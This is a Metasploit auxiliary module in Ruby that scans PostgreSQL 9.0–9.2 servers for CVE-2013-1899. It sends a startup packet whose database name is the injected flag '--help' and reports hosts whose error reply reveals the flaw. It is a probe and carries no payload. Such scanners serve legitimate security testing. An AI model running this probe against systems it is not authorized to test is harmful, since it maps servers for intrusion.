Metasploit: PostgreSQL Database Name Command Line Flag Injection

##
#Authored by hmoore-r7
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'


class Metasploit3 < Msf::Auxiliary

include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report

# Creates an instance of this module.
def initialize(info = {})
super(update_info(info,
'Name'           => 'PostgreSQL Database Name Command Line Flag Injection',
'Description'    => %q{
This module can identify PostgreSQL 9.0, 9.1, and 9.2 servers that are
vulnerable to command-line flag injection through CVE-2013-1899. This
can lead to denial of service, privilege escalation, or even arbitrary
code execution.
},
'Author'         => [ 'hdm' ],
'License'        => MSF_LICENSE,
'References'     =>
[
[ 'CVE', '2013-1899' ],
[ 'URL', 'http://www.postgresql.org/support/security/faq/2013-04-04/' ]
]
))

register_options([ Opt::RPORT(5432) ], self.class)
end

def run_host(ip)

request =
"\x00\x03\x00\x00" +
"user\x00" +
Rex::Text.rand_text_alpha(rand(4)+4) + "\x00" +
"database\x00" +
"--help\x00" +
"application_name\x00" +
Rex::Text.rand_text_alpha(rand(4)+4) + "\x00\x00"

connect

probe = [request.length + 4].pack("N") + request

sock.put(probe)
resp = sock.get_once(-1, 5)

if resp.to_s =~ /process_postgres_switches/
proof = resp[4, resp.length-4].to_s.gsub("\x00", " ")

print_good("#{rhost}:#{rport} is vulnerable to CVE-2013-1899: #{proof}")
report_vuln({
:host=> rhost,
:port=> rport,
:proto  => 'tcp',
:sname  => 'postgres',
:name=> self.name,
:info=> "Vulnerable: " + proof,
:refs   => self.references
})
else
print_status("#{rhost}:#{rport} does not appear to be vulnerable to CVE-2013-1899")
end
end

end